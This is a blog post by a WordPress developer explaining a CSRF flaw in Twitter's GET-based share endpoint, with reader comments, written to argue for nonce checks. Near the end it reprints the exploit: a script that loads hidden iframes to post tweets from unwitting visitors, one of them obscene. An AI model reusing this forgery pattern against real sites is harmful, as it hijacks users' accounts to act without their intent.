CSRF attack strikes Twitter

I mean, who didn’t see this coming?

Twitter allows a URL to send a tweet. Many sites and retweet buttons and such rely on it. No POST, no nonce, nothing. Just a simple HTTP GET triggers a tweet. Clearly, someone was going to exploit this eventually.

Authentication is not the same as intention. You can’t just determine that a user is allowed to do something, but also that they intended to do something. When intent is not established, and especially when the form can be submitted via a GET request, it makes these kinds of exploits child’s play, as you can see by the complete exploit code below. It’s called a cross-site request forgery, or CSRF (or XSRF).

How do you determine intention? You’ll want to avoid accepting information over GET, but really that does nothing. Next step would be to check the HTTP referrer, but those can be spoofed. Since that isn’t foolproof, then you need to use something like a nonce check, like what we use in WordPress. For Twitter to secure the site from a CSRF vulnerability, they’ll be breaking a lot of embedded tools and buttons on many, many sites, so for now, they’ve apparently disabled the share endpoint that was exploited.

For the WordPress developers out there, probably the best read out there is this post by Mark Jaquith, from four years ago. It still applies as if it was written yesterday. For the non-WordPress developers, it’s still a great read as it explains what’s really going on, how WordPress prevents it, and why intention is important (if that isn’t obvious enough).

Once again, Twitter users are victims, thanks to the lack of basic security practices.

Update: Check out TechCrunch’s coverage. They quote a certain commenter who explained the issue. 🙂

Here’s the exploit:

<script type="text/javascript">
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);
</script>

Published by

Andrew Nacin

Lead developer of WordPress, living in Washington, D.C. Follow me on Twitter.

7 thoughts on “CSRF attack strikes Twitter”

  1. On a more serious note, it’s completely amazing that this kind of exploit has not flourished way earlier. In ages of URL shorteners that never reveal obviously where they’re sending you to, it’s too easy.

  2. I was quite astonished to say the least. CSRF, and this trivial, and twitter? Brings loads of questions to the table. Like: how secure is twitter?!

    They’ve disabled the share/update script, which probably means they’re taking down the tweet button as well. Hopefully that’s not the final fix, but it solves the problem for now.

  3. Back in the day, to do a proof of concept about CSRF vulnerabilities in WordPress, I wrote a script that, if passed a blog URL, would change your password. And you wouldn’t even be aware it happened, because you’d get the updated cookie with the new hash. Totally evil. Good thing I’m white hat. We rolled out the “nonce” solution pretty quickly after that!

Comments are closed.